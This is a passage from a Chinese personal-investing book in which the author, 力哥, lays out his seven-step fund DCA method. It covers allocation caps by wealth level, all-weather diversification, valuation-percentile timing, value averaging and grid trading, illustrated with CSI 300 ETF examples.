　　根据中国社会当前的财富分配情况，力哥把人群分成了 6 类。

　　如果你眼下可用于长期投资的金融资产还不到 10 万元，说实话，在今天的中国，和赤贫没有太大区别，这时候你的资产增值需求非常迫切，投资风格也应该相对最激进。对于激进型的人群，最高可以拿出 85% 的资金投入定投中，比如你有 8 万元，最多可以拿 6.8 万元做定投。

　　而 10 万～50 万元的级别，面对今天的高房价，还是只能算“贫困”，但是已经有点原始积累了，此时资产增值依然比资产保值重要得多，在同等风险偏好下，这一人群可用于定投的最高资金比例就要比“赤贫”者低 5%。

　　50 万～100 万元级别的，属于正阔步行走在进军中产阶层的阳光大道上，力哥把这部分人群称为进击的人群，只要再勇敢进击一下，往前迈一步，就能名正言顺地进入中产阶级行列了。这一阶段，努力让资产增值依然是第一要务，但你的风险承受能力就要比上一级别更低了，所以定投比例要再下降 5%。

　　100 万～200 万元级别的，在一线城市也算是“入门级”中产了，在小城市则已经算是富人了。所以保值和增值这两件事就显得差不多重要了，定投的最高比例要再下降 5%。

　　200 万～500 万元级别的，哪怕你生活在房价最高的一线城市，手里有那么多金融资产，也不太可能一套房子都没有。所以你已经是名副其实的标准中产阶级，在小城市和农村则可以说是入门级的土豪了。土豪能承受的风险和穷人就完全不同了，可用于定投的最高比例又要再下降 5%。这时资产保值的目标已经比资产增值更加重要，所以就要尽量避免你的资产暴露在巨大的风险敞口之下。

　　500 万元以上级别的，或者说按照国际标准，拥有 100 万美元也就是 600 多万元人民币可投资金融资产的人，即使放在西方发达国家，也是高净值人群。这个概念是嫌贫爱富的银行提出来的，达到这个水平的客户就能达到私人银行服务的门槛。这时候资产保值就要比增值重要得多。身为土豪，你是万万不能让自己的资产出现大幅亏损的，甚至连轻微亏损也要尽量避免，所以定投资金的最高比例要再下降 5%。这个时候，你除了定投，更需要考虑信托、私募、海外房产、海外债券、投资移民等关于理财的高级功课。

　　要特别注意的是，这里所说的百分比指的是你可以用于定投的最高资金比例，而不是必须配置到这个比例。如果在某一个时刻，你放眼全球，发现所有可以定投的标的价格都太贵了，下不去手，这时候，你就可以把用于定投的资金比例大幅下降。所以这个比例是为了控制风险的上限，而不是下限。

　　最后告诉大家一个数据，能让你更清晰地了解你在中国的财富地位。在中国目前的近 14 亿人口中，算上房产后的净资产超过 1 亿元的超级富翁大概有十多万人，万里挑一；净资产超过 1000 万元的高净值人群大概有 200 万～300 万人，千里挑一，而且这个人群每年都在快速增长，在巴黎老佛爷百货眼睛不眨地“买买买”的主要就是这群人；再往下，资产在 50 万～200 万元的新兴中产和 200 万～1000 万元的新兴富人阶层，人数已经超过 1 亿，差不多十里挑一，这个人群同样每年也在快速增长。也就是说，假如你现在有个百八十万元资产，你已经比中国 90% 的人更富有了。但如果你不好好理财，让资产停滞不前，那很快就会被其他人超越了。

挑选定投基金：全天候配置策略

　　设定好定投的存量资金比例后，到底应该买哪些基金呢？要解决这个关键问题，我们就要用到力哥之前说的 5 大策略原理中的 2 个——全天候配置策略和低估值择时轮动策略，这也是在七步定投策略第四步——计划定投阶段需要用到的 2 个策略。

　　先来说全天候策略。

　　普通投资理论认为：想要获得高收益就要承担高风险，胆子大，就去买股票型基金；胆子小，就去买债券型基金。但实际上，更好的策略是在经济景气的时候买股票型基金用于进攻，经济低迷的时候买债券型基金用于防守，这不是比一味追求高收益或者低风险更聪明吗？

　　后来有人研究发现，在不同的经济周期里配置不同的大类资产能获得截然不同的表现。大类资产主要是股票、债券、现金和包括黄金在内的大宗商品，而大的经济周期也分成四个阶段：

　　经济上行、通胀下行的阶段，即 GDP 在不断上升，而 CPI 却依然处于低位，这叫经济复苏阶段。这时把更多的钱配置在股票上，能获得更好的超额回报，持有大宗商品则表现得最糟糕。

　　经济上行、通胀也上行，经济就处于过热阶段。这时市场群情激奋，持有股票依然能获得不错的收益，但持有大宗商品则能获得最理想的超额回报，相比而言，持有债券或现金的收益就显得很一般。

　　经济下行、通胀上行，就到了滞胀阶段，意思是一边是经济停滞，一边是通货膨胀，这是最糟糕的经济局势。这时候最好的策略是以现金为王，持币等待冬天过去，能在投资中保住本金就不错了，如果你去投资股票，往往亏损得最厉害。

　　最后是经济下行、通胀也下行的衰退阶段。因为这时候通胀压力下来了，政府可以放开手脚采用宽松的货币政策来刺激经济，所以债券的表现就会比较突出，而由于经济依然低迷，需求没有起色，所以大宗商品的表现最糟糕。

　　总之，复苏阶段、过热阶段、滞胀阶段和衰退阶段各有一类投资的表现最好，分别是股票、大宗商品、现金和债券。如果我们能够准确抓住经济运行周期，始终踩对节奏，就能够持续获得超额收益，这就叫作美林投资时钟理论。

　　然而，真拿这套理论去市场上赚大钱并非易事：一是因为我们很难准确预测未来一段时间经济到底会处于什么阶段。比如我们知道现在处于经济衰退阶段，应该买债券，但什么时候经济会复苏呢？这往往是已经复苏了一段时间以后经济学家才能确认的，而等到那时我们再去买股票，已经太晚了。二是 2008 年金融危机爆发后，美林时钟在很大程度上失灵了，因为政府为了避免经济大衰退，拼命在货币上放水刺激经济，结果重新助推了美国股市和楼市的泡沫，我们很难说现在全球经济到底处于什么阶段。从基本面上看，很多欧洲国家还处于衰退中，美国则已经在复苏中，但从美国股市的表现看，则早已处于繁荣甚至过热的状态。反观中国经济，复苏力度比美国更强劲，但我们的股市却持续萎靡，这又该怎么解释呢？

　　但是美林投资时钟理论给了我们一个很大的启发，那就是不管现在处于何种经济周期，总会有一些投资品表现得更加突出吧？那我们为什么不能组建一个投资组合，同时买入这几大类资产，从而获得更稳健的、确定性更高的投资回报呢？

　　这就是金融学里的风险平价策略，后来美国著名对冲基金桥水基金运用这种策略发行了一个产品，名字叫 Bridgewater All Weather，翻译过来叫桥水全天候基金，说白了就是各大类资产都买一些，来应对各种未来可能出现的情况，这就是全天候策略的名字由来。这个名字很形象，意思是不管刮风下雨出太阳，我的投资总能失之东隅，收之桑榆，立于不败之地。雪球蛋卷基金旗下有一个基金组合就叫安睡全天候策略，就是把钱拿去买美债、亚洲债、黄金、石油、美股大盘股、美股小盘股等不同类别的基金产品。

　　但力哥七步定投策略所采用的全天候策略不同于美林时钟理论或现在市场上其他的全天候策略产品，因为我不需要考虑持有现金或债券这两部分资产，这些在前几步里已经配置好了，尤其是债券基金应该归到我们配置的固定收益类产品中。定投的目的是平滑高波动高风险的资产，在不损失高收益的情况下，降低投资风险，所以债券这类波动比较小的资产就没必要定投，适合定投的标的主要是股票、黄金、石油和大宗商品。

　　在力哥原创的基金全球配置大法中，力哥提到了“二维三核+左右护法”的配置策略，它们本质上就是力哥对全天候配置策略的改良升级。按照这个策略，力哥把七步定投策略的候选标的分成 5 组，分别是 A 股+印度股市，港股+东南亚股市，美股+德国股市，对应的是“二维三核”；还有黄金+白银，石油+其他大宗商品，对应的是“左右护法”。

　　前三组定投标的，每一组中的核心标的可以投资的比例为 0～80%，也就是说，A 股、港股和美股这三个市场中的任一市场，最多可投资我们存量资金总量的 80%，最低则可以彻底清仓。而每一组中的卫星标的，也就是印度股市、东南亚股市和德国股市的投资比例为 0～40%。另外左右护法作为资产平衡器，不是我们定投的主菜，最高可投资比例要进一步降低，建议各自的配置比例都是 0～30%。

　　看到这里你可能会觉得奇怪，力哥，你看人家蛋卷基金上的安睡全天候策略的配置比例都是固定的，海外债券基金配置 55%，海外股市指数基金配置 30%，黄金基金配置 10%，石油和大宗商品基金配置 5%，怎么到你这里，比例范围变得那么大了呢？

　　那是因为一旦你把债券、股票、黄金和大宗商品这几类资产的配置比例确定死了，基金净值的波动的确大幅下降了，你的确可以安睡了，但你的潜在收益也被大幅平均了。如果现在美股价格很高，风险很大，为什么还要坚持配置 30% 的比例呢？我为什么不能少配置点甚至清仓不玩了呢？再比如如果现在国际油价非常低，我为什么只能投 5% 呢？就算油价今后翻了一倍，我的投资也只是涨了 5%，为什么不能把石油基金的比例大幅提高到 30% 呢？现在你明白力哥这样设置比例的原因了吧？

大类资产配置：低估值择时轮动策略

　　美林时钟理论根据经济周期的变化来配置大类资产，难度和风险都比较高，那我能不能找一个更安全靠谱的办法来指导大类资产的配置呢？有，那就是加入估值因素。

　　所谓估值，通俗地说，就是当前的价格贵不贵。低估值的意思就是在资产价格比较便宜的时候下手，这时候买入，潜在风险较低而潜在收益较高。而所谓的择时轮动，意思是不同资产的价格会随着时间不断变化，现在低估的可能过段时间涨上去了就变成高估了，现在高估的可能过段时间跌下来了就变成低估了，所以聪明的投资者就会相机择时，不断地在各个低估值的资产之间轮流交替买入。

　　那怎么来判断我想要买的基金现在是贵了还是便宜了呢？总不能看基金净值低的就说便宜吧？

　　力哥前面讲解打新基金时提到过一个概念叫市盈率，就是股价和每股净利润的比率，这就是最重要的估值指标。比如 A、B 两家上市公司每年都能给股东赚每股 1 元净利润，但 A 公司股价为 10 元，B 公司股价为 20 元，那不就是 A 公司更便宜吗？但如果 B 公司每年能赚 3 元，就变成了买 B 公司更划算。因为虽然 B 的价格更高，但赚钱能力更强，买 A 公司要 10 年才能回本，但买 B 公司 20÷3=6.66 年，只要 6 年多就能回本了。

　　除了 PE，股市中还有其他估值指标，比如市净率（PB），意思是股价和每股净资产的比率。比如 A 公司的所有资产加起来价值每股 10 元，公司股价也是 10 元，就意味着市净率为 1 倍，你花钱买这种资产，不算贵也不算便宜。但如果 B 公司每股净资产是 20 元，而股价也是 10 元，就意味着市净率只有 0.5 倍，你花 1 元能买到价值 2 元的资产，它的估值不就比 A 公司更低吗？

　　另外还有市销率、股息率、净资产收益率等其他可以判断估值高低的财务指标，力哥就不展开说了。你只要知道，判断估值高低最重要的指标是市盈率，其次具有较高辅助参考价值的是市净率。然而这些指标并不是绝对客观的，因为单一上市公司未来发展的不确定性太多，就像一台苹果手机卖 6000 元，是贵还是便宜？一瓶茅台卖 2000 元，是贵还是便宜？很多业绩优异的银行股价格才几元，市盈率才两三倍，但很多军工股的市盈率却能达到 100 倍，这就能证明军工股一定比银行股更贵吗？这其中掺杂了很多个人主观判断，没有绝对的客观标准。

　　这就是为什么力哥不建议大家直接投资个股，也不建议对股票进行定投，假如当初你看好并坚持定投的是乐视网，现在可能想死的心都有了。

　　如何判断指数的估值高低？

　　判断指数的估值高低容易很多，我们不用再担心乐视网那样的“黑天鹅”了。

　　估值具体又分为绝对估值和相对估值。

　　绝对估值指的是就这个估值数据本身来看，是不是贵了。比如军工股的平均市盈率为 100 倍，意味着你现在买军工指数基金，按照过去 1 年的回报来推测，需要整整 100 年才能回本。有人可能会说，中国正在崛起，未来军工股的成长空间非常大，所以才会卖那么贵，如果用发展的动态眼光来看的话，其实军工股也没那么贵。这么说虽然也有道理，但我怎么敢保证未来军工股的成长一定会那么快呢？相比于之前 150 倍、200 倍的超高市盈率，现在 100 倍的市盈率的确低了很多，但从绝对值上看还是太贵了。

　　类似的还有创业板指数，人人都说创业板成长性高，但是不是能支撑所有创业板上市公司都达到 60 倍的市盈率呢？

　　所以力哥画了一条定投的绝对估值红线，指数平均市盈率超过 50 倍的，对不起，安全第一，我们一律不碰。

　　再来看更重要的相对估值。投资很多时候是矮子里拔高个，没有比较就没有伤害，一比较就知道哪家便宜哪家贵了。相对估值又分成两种：一种是和指数过去的历史估值进行纵向比较，一种是和其他指数进行横向比较。

　　然而横向比较往往有“关公战秦琼”的味道。比如你拿银行股和军工股的市盈率进行比较，很难比。比如缺乏成长性的银行股市盈率为 20 倍，极具成长性的军工股市盈率为 40 倍，光看数字军工股更贵，但懂行的老手反而会觉得军工股便宜了。

　　再比如你拿中国创业板指数和美国纳斯达克指数做比较，虽然都是两国最具代表性的成长股指数，但中国创业板指数的估值就是长期比美国纳斯达克指数高，因为我们是新兴市场，而人家是成熟市场，人家的投资者比咱们更理性。所以力哥更倾向于以自身的历史估值作为镜子，以史为鉴，来判断眼下估值到底高不高。

　　这就要说到概率学上的分位点理论了。

　　比如某个指数已经诞生并运行了 100 个交易日，计算每个交易日的收盘价，能得出一个当天的市盈率数值，把这 100 个数值从小到大升序排列，就有 100 个分位点，再把这个指数按照今天最新的收盘价计算得出的数值放到这 100 个分位点中，看它排在什么位置。比如说该指数在过去 100 个交易日里，市盈率最高为 50 倍，最低为 10 倍，现在的市盈率是 20 倍，过去有 30 个交易日的市盈率低于 20 倍，70 个交易日的市盈率高于 20 倍，那今天这个指数的分位点就位于 30% 左右，从历史的角度来看，今天的估值处于偏低的位置。

　　当然，在 100 个交易日里排第 30 位并没有太强的说服力，因为一轮牛市可能会持续 2 年，一轮熊市可能会持续五六年，所以这个指数的历史越长，分位点理论的有效性就越高。就像力哥之前分析均线策略的智能定投为什么不靠谱一样，250 日或者 500 日均线仅仅只包含了一两年的数据，远不能真实地反映这个指数的长期合理估值水平，必须要到 2000 日均线，也就是包含回顾过去 8 年的数据，才真正有说服力。

　　如果你觉得 8 年还不够长，我们再来看一组更神奇的数据。自从 1973 年港股历史上最疯狂的一轮牛市崩盘后，过去 40 多年，香港恒生指数的市盈率一直在 10～20 倍的区间内波动，在 1974 年、1983 年、1989 年、1997 年、2008 年和 2014 年，市盈率都一度跌破 10 倍，并随后启动了一轮新的牛市；相反，在市盈率一度突破 20 倍的 1980 年、1987 年、1994 年、1999 年、2004 年和 2007 年，随后港股都迎来了大跌。这就说明以自身估值历史走势来指导投资是真实有效的，我们只要每次在恒指市盈率逼近 10 倍时开始定投，跌破 10 倍时加码定投，而在接近 18 倍或 20 倍时提前清仓走人，在每个牛熊周期中，我们都能赚大钱。

　　在这套分位点理论中，在 0～100% 之间，分位点数值越小，意味着估值越低，越有投资价值。从概率上说，未来该指数估值向上回归，即价格上涨的概率远大于下跌概率，此时我们开始或加码定投，安全边际更大，未来赚钱的概率更大，赚钱的效率更高。反之，如果分位点数值很高，则说明其当下价值已被高估，未来下跌概率远大于上涨概率，此时就应该清仓定投，规避风险。

　　在概率学上，一般采取四分位法，即用 25%、50%、75% 这三个分位点把所有样本四等分，但力哥采取的是五分位法，把指数估值分成 5 种状态：0%～20% 为低估，20%～40% 为合理偏低，40%～60% 为合理，60%～79.99% 为合理偏高，80%～100% 为高估。

　　只有位于低估和合理偏低，也就是分位点低于 40% 时，才可以开始定投，分位点越低，你可以定投的比例越高，而高于 40% 则不适合现在开始定投。当然，除了市盈率，市净率的分位点也可以作为参考。如果市盈率分位点低于 40%，市净率的分位点也在 40% 以下，开始定投的安全系数更高，但这不是绝对要求，只是参考。但如果市盈率很低，而市净率非常高，比如超过了 60% 的分位点，那就坚决不能定投了。

　　像黄金和石油基金虽然没有市盈率的概念，但金价和油价本身的历史数据足够长，同样可以用分位点理论来判断现在的金价和油价到底是贵了还是便宜了。以 1997-2017 年长达 20 年的价格数据来看，力哥个人认为，国际金价位于每盎司 1000 美元以下是低估，1000～1500 美元是合理水平，1500 美元以上是高估。国际油价位于每桶 35 美元以下是低估，35～70 美元之间是合理水平，70 美元以上是高估。当然，力哥在此要特别声明，黄金和石油都是非常复杂的投资品种，决定它们短期和长期走势的因素非常多，足够力哥再写一本书专门讲解了，所以在这里只是抛砖引玉，告诉大家判断投资这两种商品的大致风险区间。

　　正是由于全天候配置策略和低估值择时轮动策略的结合，七步定投策略虽然长期收益比普通定投和其他智能定投更高，但在制定定投组合时也会相对麻烦些。时移世易，定投标的和比例也会不断轮动变化，力哥没法在本书里给出明确的基金名称和各基金的黄金配比。只能给出配置原则，具体还得你们自己去配置。

　　估值的数据以往只有在付费的平台，如万德资讯等地才能查到。2017 年年底，集思录也开放了这部分功能，登录集思录网站就能看到各个指数的 PE、PB、分位点等估值数据了（见图 27.1）。

定投组合中配置几只基金比较合适？

　　一般来说，你可用于定投的资金量越小，定投基金组合数量越少；资金量越大，定投基金组合数量也相应可以越多。但建议最少不能少于 3 只，最多不超过 12 只。按照“二维三核+左右护法”的配置原则，“二维三核”这 6 个股市中，至少要配置 2 点，“左右护法”中，至少要在黄金、石油和大宗商品类基金里配置一只，否则就完全无法做到风险平衡对冲了，因为这已经是最基础的全天候策略模型了。

　　而如果“二维三核”加“左右护法”全部配置上的话，就算每个市场只投 1 只基金，也有 8 只了。如果要再做进一步细分，港股可以投恒生指数和 H 股指数，美股可以投标普指数和纳斯达克指数，而 A 股市场可以选择的指数基金品种就更多了，建议大家除了沪深 300 和中证 500 这些宽基指数，还可以寻找估值相对较低的行业指数进行定投，从而起到更好的定投效果。

　　

　　图 27.1 指数估值（来源：集思录）

　　两个关键问题

　　最后再说说两个在第四步的执行过程中的关键问题。

　　第一，存量资金定投布局期原则上是 1 年。资金量比较小的，比如一共只有几万元资金的，建议每月定投一次，把所有存量资金分成 12 份。资金量大一点的可以双周定投一次，一年有 52 周，去掉国庆和春节长假暂停定投的两周，把钱分成 25 份，一共定投 25 次。如果资金再多一些，就选择每周定投，把钱分成 50 份。比如你有 50 万元可用于存量资金定投布局，金额较多，足够每周定投一次，那么就把这笔钱分成 50 份，每份 1 万元开始定投。比如你计划定投的标的有 5 个，它们的投资比例分别是 30%、30%、20%、10%、10%，那对应第一周这 5 只基金开始定投的资金就是 3000 元、3000 元、2000 元、1000 元和 1000 元。

　　当然，以 1 年为定投周期把存量资金全部投入进去的方法是针对大多数普通人的。如果你的存量资金数额特别大，而你现在的收入又非常少，甚至在极端情况下，你没有工作，所有收入都来自理财，那 1 年的定投布局期就太短了，因为你后续没有足够的增量资金可以跟上，可能会让你的定投计划陷入被动。这时你的存量资金定投布局期就要适当延长，以规避中短期价格的非理性波动，但最长不超过 2 年。

　　有一个很简单的指标可以判定你是否需要延长布局时间，那就是你眼下可用于定投的存量资金和你现在每个月的收入之比，如果超过 100 倍，比如你现在有 50 万元可以定投，但你每个月还赚不到 5000 元，就要延长定投布局期了。

　　第二，大家都知道力哥最推荐的是指数基金定投，指数基金又可以分为场内基金和场外基金，它们各自的优缺点力哥之前已说过多次了。而在七步定投策略中，力哥更推荐的是场内基金，也就是 ETF、LOF 和分级 B，主要是从降低交易成本和方便策略操作两方面考虑。

　　从成本上看，场外开放式基金申购费就算打 1 折也要 0.1%～0.15%，赎回费不打折，为 0.5%，基金管理费和托管费也明显高于 ETF，而场内基金交易免收单边 0.1% 印花税，仅收 0.01%～0.03% 不等的佣金，这一差就是几十倍啊！而且随着券商竞争越来越激烈，现在许多券商都已经免收最低 5 元的投资门槛，哪怕你资金量再小，一样可以做场内基金定投。因为七步定投策略需要在全球市场中选择低估值的指数标的并不断轮动，所以买卖手续费低廉是至关重要的因素。

　　而从操作便利度上看，后续力哥会讲到的网格交易策略同样更适合场内基金。但是场内基金无法自动设置定投，需要你每周、每两周或者每月，主动打开股票交易软件，手动输入基金代码、买入价格和买入数量，才能完成基金定投。这就很容易诱发人性的恐惧与贪婪，给我们做到克服恐惧、战胜贪婪形成巨大的挑战。

　　所以，如果你对自己的定力和心性没有足够的信心，那最好的办法就是每次一提交买卖申请后就立刻关闭交易软件和行情软件，不看，不听，不想。切莫恋战，切莫犹豫，切莫贪婪，切莫恐惧，切莫因为行情和外界舆论的变化而轻易放弃你事先制定的定投计划！切记！

第五步

　　第五步是，未来一年内坚持完成存量资金定投布局。在这个布局定投阶段，主要用到的是价值平均策略。

　　价值平均策略，英文叫 value averaging，最早是由美国著名经济学家迈克尔·埃德尔森（Michael Edleson）在他 1991 年出版的《价值平均策略——获得高投资收益的安全简便方法》一书里提出的，你可以把它理解为一种升级版的定投策略。传统的定投，每次投入的本金是一样的，第一个月投 1000 元，第二个月投 1000 元，第三个月还是投 1000 元，我称之为本金恒定法。但力哥之前说过，只有低位多投、高位少投的智能定投策略，才能取得更好的收益，包括蚂蚁财富的慧定投等都用一系列标准把“低位多投，高位少投”这 8 个字给量化了。而价值平均策略则是另一种傻瓜式的量化，我称之为市值恒定法。

　　比如我有 12 万元资金，计划每个月定投 10000 元，一年完成存量资金定投布局。那在开始定投后的第一个月，就应该定投 10000 元。但这钱投下去之后可能涨也可能跌，到了第二个月，假如运气不错，涨到了 12000 元，这时候第二个月定投的金额就不再是 10000 元，而是 20000-12000=8000 元，也就是说，我不要求每月定投的本金一样，而是要求每月定投完成后的目标市值一样，也就是第一个月的目标市值是 1 万元，第二个月是 2 万元，第三个月是 3 万元，以此类推。假如到了第二个月要定投的时候，第一个月投入的 1 万元本金缩水到了 9000 元，那第二个月就需要加码定投 11000 元，以保证第二个月定投之后的市值是 2 万元。到了第三个月定投时，你的目标市值提高到了 3 万元，假如这时你手里的基金市值提高到了 23000 元，则第三个月只需要定投 7000 元；如果跌到了 16000 元，则需要定投 14000 元。

　　举个极端的例子，假如第一个月投了 1 万元后，股市在接下去的一个月里突然暴涨，到第二个月定投的时候，市值已经涨到了 22000 元，为了保证我的目标定投市值是 2 万元，我就需要卖掉 2000 元。

　　当然，实际上不太可能有一只基金在一个月的时间里就翻倍，但如果你定投的次数足够多，这种情况发生的概率就会逐渐提高，比如你定投到第十一个月的时候，正巧过去的一个月这只基金大涨了 10%，从之前的 10 万元市值涨到了 11 万元市值，达到了这个月你计划中的目标定投市值，那第十一个月你就不需要定投了，如果涨得更高，你就可以收割盈利了。

　　所以说，采取价值平均策略做定投，或者用力哥的说法叫目标市值恒定策略做定投，需要我们在每次定投的时候，都做两道简单的算术题。第一道算术题是用目标定投市值减去目前的定投市值，比如这次的目标定投市值是 10 万元，而当前的定投市值是 92548 元，你这次需要定投的金额就是 100000-92548=7452 元；第二道算术题是用这个算出来的定投金额，除以你要定投的基金最新的成交价，比如最新价格是 1.253 元，那么可以算出一共是 7452÷1.253=5947 份基金。这时候，场内基金定投就会出现一个问题：场外基金是以 100 元为最小单位申购的，而场内基金则是以 100 份基金为最小单位买入的，5947 份基金没办法买啊。这时候就需要做一个四舍五入，把买入份额精确到百位数就行了，比如算下来的数字是 5947，那就买 5900 份基金，如果数字是 5958 份，那就买 6000 份。在定投刚开始的时候，尤其是在你的资金量比较小的情况下，这样的定投难免会产生误差，但不用在意，随着定投时间拉长和定投总额的提高，误差会越来越小，对长期定投收益的影响也几乎可以忽略不计。

　　目标市值恒定策略的优势

　　目标市值恒定策略的优点在于强迫我们用最简单的机械操作方法克服人性的弱点，既做到跌了多投，涨了少投，又能做到在涨到很高的时候，自动收割盈利。这就把力哥前面说的定期不定额、止盈不止损的定投原理用最简单、直观的机械式操作给落地了。尤其值得肯定的是，这套策略让投资者聚焦在实质上，而不是投入的本金上，重要的不是账面上暂时的浮盈浮亏，而是最后市值的持续稳健增长。也就是力哥前面说过的，高手投资要做到忘记本金，只看市值。

　　过去 20 多年来，全球各地的信徒通过投资实践普遍证明，与传统的定期定额投资相比，这的确是一套行之有效的、风险较低而收益较高的投资策略。然而在七步定投策略中，力哥把估值因素融入后得到的升级版的价值平均策略能发挥更大的威力。

　　我把指数的估值分位点五等分，开始定投时，分位点必须低于 40%，而在你定投的过程中，指数本身肯定会有涨跌，如果分位点维持在 20%～39.99% 的合理偏低水平，就按照既定策略进行市值恒定定投，但如果跌到 20% 以内的明显低估状态，则应该启动加码定投，即在原先计划的定投节奏基础上，额外增加一定的定投比例。

　　原则上，P/E 低于 20%，可把每次基准定投额提高到 1.5 倍；低于 15%，可提高到 2 倍；低于 10%，可提高到 2.5 倍；低于 5%，可提高到 3 倍。这时应该尽可能贪婪，而不是恐惧。

　　反过来，如果估值分位点涨到 40% 以上，则可以视情况选择继续正常定投、降低定投金额、停止定投或者抛售定投。原则上，P/E 分位点高于 45% 时，就要开始降低定投金额，减少到基准定投额的 0.75 倍；高于 50%，进一步减少到 0.5 倍；高于 55%，进一步减少到 0.25 倍；高于 60%，则建议停止定投，维持恒定市值就可以了。如果 P/E 分位点继续提高，高于 65%，则把已经定投进去的基金份额抛售 25%；高于 70%，再抛售 25%；高于 75%，再抛售 25%；高于 80%，则把最后的 25% 也抛售掉，完成清仓。注意，我这里说的是 P/E，如果 P/E 没有超过 80%，但作为辅助参考的 PB 估值分位点高于 80%，同样要清仓该基金的全部份额。

第六步

　　第六步，对提前完成存量资金定投的基金进行网格收割，这对应的是维持定投阶段。

　　你肯定会问，网格收割又是什么？

　　这其实是力哥自己创造的一个概念，它起源于网上非常流行的网格交易法则。网格交易是一种动态调仓的仓位控制策略，通俗地说，就是先设定一个锚，也就是底仓价，以这个底仓价为基准，上涨到一定比例就抛售一定比例的仓位，涨得越多，抛售的比例就越高；下跌到一定比例就买入一定比例的仓位，跌得越厉害，加码买入的比例越高。因为往下跌，有买 1、买 2、买 3、买 4 等一档档的价格在下面等着，往上涨，也有卖 1、卖 2、卖 3、卖 4 的价格在上面等着，然后反反复复，涨了卖跌了买，涨了卖跌了买，组合起来看，就像编织了一张网格。而且这不是涨跌完全对称的网格，而是上涨网格空隙大、下跌网格空隙小的非对称网格，也就是说如果设定跌 3% 加仓买，那必须涨 5% 才能减仓卖，设定跌 8% 加仓买，则要涨 15% 才能减仓卖。只有每次减仓的实际盈利比例大于每次加仓弥补的浮亏比例，才能通过网格交易真正获利。

　　网格交易法一点也不稀奇，很多散户平时都在用，力哥早年也尝试过网格交易法，但单纯的网格交易法有两个致命伤：一是没有明确的估值依托，如果你买的股票很糟糕，一直“跌跌不休”，或者突然遭遇了股灾，网格交易最后很可能买无可买；二是如果遇到了大牛市，网格交易不断通过“卖卖卖”来降低仓位获利了结，最后所有股票全部卖光了，但股市还在拼命涨，怎么办？难道在高位冲进去当“接盘侠”？

　　所以说，网格交易策略在面对单边的大熊市和大牛市时，往往表现都不是特别理想，但是面对震荡市，永远在它设定的区间内上下震荡，就可以左右逢源，反复收割。还记得力哥前面介绍的二八轮动策略吗？它和网格交易策略正好相反，不怕大牛市和大熊市，就怕不涨不跌、阴阳怪气的震荡市，二八轮动策略这时就会被反复“打脸”。其实传统的定投策略也最讨厌震荡市，因为震荡市不管怎么定投都不赚钱，如果震荡个两三年还没有明显的赚钱效应，很多人就会没有耐心从而放弃定投了。

　　网格交易法操作步骤

　　力哥改良后的网格交易策略和低估值择时轮动策略以及价值平均策略结合在一起之后，在震荡市里也能帮大家赚点小钱。操作方法很简单，那就是当某只基金达到了这一轮定投计划最初设定的目标定投市值之后，暂时就不需要继续定投了，但也不能闲着，而是需要通过网格交易法来反复收割。比如说某只基金计划定投 10 万元，现在市值已经达到 10 万元了，照道理说不需要再操作了，但这 10 万元市值不是死的，而是会继续涨跌，如果继续涨到一定比例，就可以把 10 万元市值以上的盈利部分卖掉，这叫收割；反过来，当跌到一定比例以后，也需要再补仓，把市值重新补回到 10 万元。

　　那么问题来了，涨跌幅度达到多少时可以进行一次网格交易呢？这并没有一定的说法。

　　从历史回测数据来看，在单边熊市和单边牛市中，网格应该放得大一点。单边熊市中，稍微跌一点就马上补仓，如果这只基金的趋势是持续向下走的，那就容易导致下手太早，“救援部队”死在半路上的情况，还不如放大网格，等跌得比较狠的时候再一次性多补一点，摊薄成本的效果更明显；反过来，单边牛市里如果稍微涨一点就卖了，就会少吃到很大一块肉，还不如等涨了一段时间之后再收割一波大的。

　　然而在震荡市里，网格就应该收得小一点，因为涨跌幅度都很小，网格太大的话，可能一年到头也收割不了一次。

　　关于网格的设置，力哥有两个建议：一是将最大的网格设置为 20%，最小的网格设置为 3%；二是同一时期，上涨时的收割网格可以设置得比下跌时的补仓网格更大一些，从而获得更大的利润空间，比如涨 5% 收割，跌 3% 就补仓，涨 20% 收割，跌 15% 补仓。

　　我们就以最普通的 510300 沪深 300ETF 为例，在 2014-2015 年的短命牛市中，如果我们设置 20% 的收割网格，那从 2014 年 5 月跌到 2.1 元左右开始算起，第一次收割是在 2.52 元，第二次收割是在 3.02 元，第三次收割是在 3.63 元，第四次收割是在 4.35 元，第五次收割是在 5.22 元。这一路牛市上升通道中，没有出现过一次跌幅超过 15% 需要补仓的情况。而沪深 300ETF 价格第一次涨到 5.22 元，是在 2015 年 6 月 5 日，第二天便涨到了这轮牛市里的最高价 5.35 元，随后股灾来袭，牛市终结。假如我们在这一年的“疯牛市”过程中不做任何止盈操作，任由我们定投的基金市值疯狂上涨，看起来是很爽，但等到股灾暴跌的时候就惨了，因为之前吃进去的又都吐了出来，仅仅 2 个多月后，沪深 300ETF 价格就跌破了 3 元，在 2016 年年初的股灾 3.0 中更是跌到了 2.8 元，大部分浮盈又都跌了回去。而采取网格收割策略后，先后 5 次 20% 的止盈操作，意味着我们已经把 100% 的本金全部安全转移，就算之后我们的基金价格跌到 0，依然不会亏一分钱。而在 2017 年的大盘股行情中，沪深 300ETF 的价格又重新从 3 元涨到了 4 元附近，我们一样可以继续收割。如果我们当时定投的是波动性更大的中证 500ETF，如果采取的是网格收割策略，最后的收益会差得更多，因为中证 500ETF 在那轮牛市里涨了 2 倍多，比沪深 300ETF 更狠，但后来的下跌同样更狠。用网格交易策略，一方面能够吃到牛市里的大段肥肉，另一方面又能避免牛市结束后将吃下去的又都吐出来，完美。

什么是维持定投阶段？

　　看到这里，你应该已经能明白七步定投策略与传统定投策略到底有什么区别了。在实际操作中，七步定投策略最大的难点在于资金的把控。传统的定投策略是：如果有 10 万元，就设计 1 年的定投周期，每周定投 2000 元，1 年后正好将 10 万元本金全部定投完毕。但七步定投策略因为采取了低估值择时轮动策略和价值平均策略，就很难定投得那么准确。如果你定投的基金持续上涨，价值平均策略就会自动减少你的定投金额，而当指数估值涨到一定水平后，又会启动低估值择时轮动策略，会进一步减少定投金额，甚至会停止定投。如果你计划定投布局 1 年，但仅不到 1 年这只基金就不需要再定投了，那这时就进入到了维持定投阶段。

　　反过来说，如果这只基金跌得太狠，你不得不持续加码定投，但不到 1 年，这只基金的定投比例就达到了全天候配置策略的上限，比如过去半年国际油价拼命下跌，你也一直在持续加仓买入华宝油气或华安石油这类跟踪国际油价的基金，结果很快就达到了 30% 的定投比例上限，不能再加仓了，这同样也进入到了维持定投阶段。

　　这时，就是网格交易策略出来帮你增厚收益的时候了。

